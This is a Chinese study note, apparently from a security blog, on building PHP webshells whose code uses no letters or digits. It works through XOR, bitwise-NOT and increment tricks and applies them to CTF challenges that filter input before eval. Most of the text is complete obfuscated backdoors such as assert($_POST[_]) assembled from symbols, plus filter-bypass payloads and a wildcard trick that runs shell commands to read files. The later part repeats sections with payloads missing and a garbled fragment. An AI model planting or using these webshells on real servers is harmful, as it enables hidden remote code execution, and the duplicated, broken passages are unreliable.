学习了不包含数字字母构造webshell的姿势。

1、php中异或(^)的知识

不多说直接上代码:

运行结果:

我们可以看到输出了~,是因为php代码中对字符 A 和 ?进行了异或操作。在PHP中,对两个变量进行异或时,会将变量字符串转化为ASCII值,再将ASCII转化为二进制数值,再进行异或。异或完将二进制转化为ASCII值,再转化为字符串。异或操作有时也被用来交换两个变量的值。比如上上边这个例子:

A的ASCII值是65,对应的二进制值是01000001
?的ASCII值是63,对应的二进制值是00111111
异或的二进制的值是10000000,对应的ASCII值是126,对应的字符串的值是~

常见的一个不包含数字字母的后门:

<?php
    @$_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

很清楚异或得到一句话。合成一句话,可读性更差:

$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");

2、php中取反(~)的知识

>>> print("和".encode('utf8'))
b'\xe5\x92\x8c'
>>> print("和".encode('utf8')[2])
140
>>> print(~"和".encode('utf8')[2])
-141
“和”的第三个字节的值为140[0x8c],取反的值为-141。
负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一。
141的16进制为0xff73,php中chr(0xff73)==115,115就是s的ASCII值。
<?php
$_="和";
print(~($_{2}));
print(~"\x8c");
?>
//两个写法性质一样
//结果会输出: ss

3、不用数字构造数字

利用了php弱类型,true=1,true+true=2

在php中未定义的变量默认值为null,null==false==0,所以我们能够在不使用任何数字的情况下通过对未定义变量的自增操作来得到一个数字。我们前边提到的不包含数字字母的后门也用到这个知识。

 

4、不用数字字母写shell

非数字字母异或出字母:

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

将非数字字母通过各种变换构造出a-z中的任意字符,再利用php允许动态函数执行的特点,拼接出一个函数名,如assert然后动态执行。

$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$__;
$_($___[_]); // assert($_POST[_]);

$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$__;$_($___[_]);

接下来把命令缩短:

$_="`{{{"^"?<>/";

其中^对两边的字符进行分别异或。

非数字字母取反出字母:

利用的是UTF-8编码的某个汉字,将其中的某个字符取出来,取反为字母。
一个汉字的utf8是三个字节,{2}表示第3个字节。
<?php
header("Content-Type:text/html;charset=utf-8");
$__=('>'>'<')+('>'>'<');//$__=2
$_=$__/$__;//$_=1
$___="瞰";
$____="和";
print(~($___{$_}));
echo "<br>";
print(~($____{$__}));
?>

$__=('>'>'<')+('>'>'<');//$__2
$_=$__/$__;//$_1

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";
$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});
$___="站";$_____.=~($___{$_});//$_____=_POST

$_=$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])

$__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});
$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";
$____.=~($___{$__});$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";
$_____.=~($___{$_});$___="站";$_____.=~($___{$_});$_=$_____;$____($_[$__]);

还有另外一种简短的写法:

${~"\xa0\xb8\xba\xab"}

它等于$_GET。这里相当于直接把utf8编码的某个字节提取出来统一进行取反。

php递增递减运算符:

这种方法很明显的缺点就是需要大量的字符。

'a’++ => ‘b’,’b’++ => ‘c’,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array。再取这个字符串的第一个字母,就可以获得’A’。

因为PHP函数是大小写不敏感的,最终执行的是ASSERT($POST[]),无需获取小写a。

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$____;
$___($_[_]); // ASSERT($_POST[_]);

 

5、不用数字字母写shell

题目源码:

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

通过审计发现要求 function getFlag() 得到flag,于是构造:

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
这里的"`{{{"^"?<>/"上面已经说过了是异或的简短写法,表示_GET。
${$_}[_](${$_}[__]);等于$_GET[_]($_GET[__]);
把_当作参数传进去执行getFlag()
因为code有40个字符串的限制,导致逐个字符异或拼接的webshell不再能用。
所以使用了执行命令的反引号 ` ` 和linux下的通配符?
  • ?代表匹配一个字符
  • ` 代表执行命令
  • " 对特殊字符串进行解析
由于?只能匹配一个字符,这种写法的意思是循环调用,分别匹配。分解来看:
所以_GET就构造出来了。
获取GET参数:

<?php
echo ${$_}[_](${$_}[__]);//$_GET[_]($_GET[__])
?>
根据前面构造的来看,$_已经变成了_GET。
顺理成章的来讲,$_ = _GET这个字符串。
我们构建$_GET[ __ ]是为了要获取参数值
传入参数:
此时我们只需要去调用getFlag函数获取webshell就好了,构造如下:

<?php
    echo $_=getFlag;//getFlag
?>

所以把参数全部连接起来:

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

当然这只是其中一个绕过姿势,其他姿势:

?code=$_=~%98%9A%8B%B9%93%9E%98;$_(); //这个是把getFlag取反然后URL编码
?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag //~ 在 {} 中执行了取反操作,所以 
${~"\xa0\xb8\xba\xab"} 取反相当于 $_GET,拼接出了 $_GET['+']();,传入 +=getFlag() 从而执行了函数。
code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();//$啊=getFlag;$啊();
这里就不需要用 {} 了,因为取反的值直接被当作字符串赋值给了 $ 啊。

梅子酒师傅的一个payload:

本地测试:

6、不用数字字母下划线写shell

题目源码:

<?php

include 'flag.php';

if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
"$".("`"^"?").(":"^"}").(">"^"{").("/"^"{")."['+']"&+=getFlag();//$_GET['+']&+=getFlag();

51个字符太长了,所以这里可以用简短的写法:

('

eval($_GET['b']) url里面 b=phpinfo(); 这时候相当于eval('phpinfo();')
eval($_GET['b']) url里面b=$_GET[c]&c=phpinfo(); 相当于eval('$_GET[c]')
上面的payload是code=$_GET['+']&+=getFlag(); ,也就是eval('$_GET['+'])并不会执行getFlag();
正确的payload为:
${"`{{{"^"?<>/"}['+']();&+=getFlag

这里利用了${}中的代码是可以执行的特点,其实也就是可变变量。

<?php
    $a = 'hello';
    $a = 'world';
    echo "$a ${$a}";
?>

//输出:hello world
${$a},括号中的$a是可以执行的,变成了hello。
payload中的{}也是这个原理,{}中用的是异或,^在{}中被执行了,也就是上面讲的”`{{{“^”?<>/”执行了异或操作,相当于_GET。
最后eva函数拼接出了字符串$_GET['+']();,然后传入+=getFlag,最后执行了函数getFlag();
429大佬给出的payload:
http://localhost/getflag.php?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag

~在{}中执行了取反操作,所以${~"\xa0\xb8\xba\xab"}取反相当于$_GET。
跟上面的payload一个原理,拼接出了$_GET['+']();,传入+=getFlag()从而执行了函数。
还有一种拼接的payload:

code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();

原理大同小异,$啊=getFlag;$啊();,这里就不需要用{}了,因为取反的值直接被当作字符串赋值给了$啊。

PHP是弱类型的语言,因此我们可以利用这个特点进行许多非常规的操作,也就是利用各种骚姿势来达到同一个目的。不过随着PHP版本的变化,php的一些特性也会变化,例如php5中assert是一个函数,但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码。因此我们要多熟悉php不同版本的差异。

7、不用数字字母下划线和&写shell

<?php
include 'flag.php';
if(isset($_GET['code']))
{
    $code=$_GET['code'];
    if(strlen($code)>35){
    die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code))
    {
        die("NO.");
    }
    @eval($code);
}
else
{
    highlight_file(__FILE__);
}
//$hint="php function getFlag() to get flag";
?>
payload: code=?><?=`/???/??? ????.???`?>
?>闭合php文件开头的<?php,<?=可以输出
<? ?>是短标签,<?php ?>是长标签。在php的配置文件php.ini中有一个short_open_tag的值,开启以后可以使用PHP的短标签:<? ?>同时,只有开启这个才可以使用 <?= 以代替 <? echo 。

这个配置默认是开启的。
还利用linux的通配符:/???/???通配/bin/cat????.???通配flag.php
还有php中`符号可以执行系统命令。

最后可以在源码中找到flag
这个思路可以瞬间秒sa上面的所有题。

看了p师傅写的文章,还是分析的利用通配符的姿势绕过不用数字字符_$写shell。
重点:
1、shell下可以利用.来执行任意脚本。
2、linux文件名支持用glob通配符代替
3、*可以代替0及以上字符,?可以代替1及以上字符。
另外p师傅提出了利用通配符解决匹配错误的解决方式-linux文档:http://man7.org/linux/man-pages/man7/glob.7.html
类似正则,glob通配符可以用[^x]来匹配某位置不包含x字符的字符串,除了这种利用特殊字符过滤。
另外 类似正则表达式,glob支持[0-9]来表示一个范围,这样就可以构造特殊字符范围(ascii码范围)内的字符。
            ).("`{{{"^"?<>/").(['+'])&+=getFlag();

eval($_GET['b']) url里面 b=phpinfo(); 这时候相当于eval('phpinfo();')
eval($_GET['b']) url里面b=$_GET[c]&c=phpinfo(); 相当于eval('$_GET[c]')
上面的payload是code=$_GET['+']&+=getFlag(); ,也就是eval('$_GET['+'])并不会执行getFlag();
正确的payload为:

这里利用了${}中的代码是可以执行的特点,其实也就是可变变量。

${$a},括号中的$a是可以执行的,变成了hello。
payload中的{}也是这个原理,{}中用的是异或,^在{}中被执行了,也就是上面讲的”`{{{“^”?<>/”执行了异或操作,相当于_GET。
最后eva函数拼接出了字符串$_GET['+']();,然后传入+=getFlag,最后执行了函数getFlag();
429大佬给出的payload:

~在{}中执行了取反操作,所以${~"\xa0\xb8\xba\xab"}取反相当于$_GET。
跟上面的payload一个原理,拼接出了$_GET['+']();,传入+=getFlag()从而执行了函数。
还有一种拼接的payload:

原理大同小异,$啊=getFlag;$啊();,这里就不需要用{}了,因为取反的值直接被当作字符串赋值给了$啊。

PHP是弱类型的语言,因此我们可以利用这个特点进行许多非常规的操作,也就是利用各种骚姿势来达到同一个目的。不过随着PHP版本的变化,php的一些特性也会变化,例如php5中assert是一个函数,但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码。因此我们要多熟悉php不同版本的差异。

7、不用数字字母下划线和&写shell

?>闭合php文件开头的<?php,<?=可以输出
<? ?>是短标签,<?php ?>是长标签。在php的配置文件php.ini中有一个short_open_tag的值,开启以后可以使用PHP的短标签:<? ?>同时,只有开启这个才可以使用 <?= 以代替 <? echo 。

这个配置默认是开启的。

还利用linux的通配符:/???/???通配/bin/cat????.???通配flag.php
还有php中`符号可以执行系统命令。

最后可以在源码中找到flag
这个思路可以瞬间秒sa上面的所有题。


看了p师傅写的文章,还是分析的利用通配符的姿势绕过不用数字字符_$写shell。
重点:
1、shell下可以利用.来执行任意脚本。
2、linux文件名支持用glob通配符代替
3、*可以代替0及以上字符,?可以代替1及以上字符。
另外p师傅提出了利用通配符解决匹配错误的解决方式-linux文档:http://man7.org/linux/man-pages/man7/glob.7.html
类似正则,glob通配符可以用[^x]来匹配某位置不包含x字符的字符串,除了这种利用特殊字符过滤。
另外 类似正则表达式,glob支持[0-9]来表示一个范围,这样就可以构造特殊字符范围(ascii码范围)内的字符。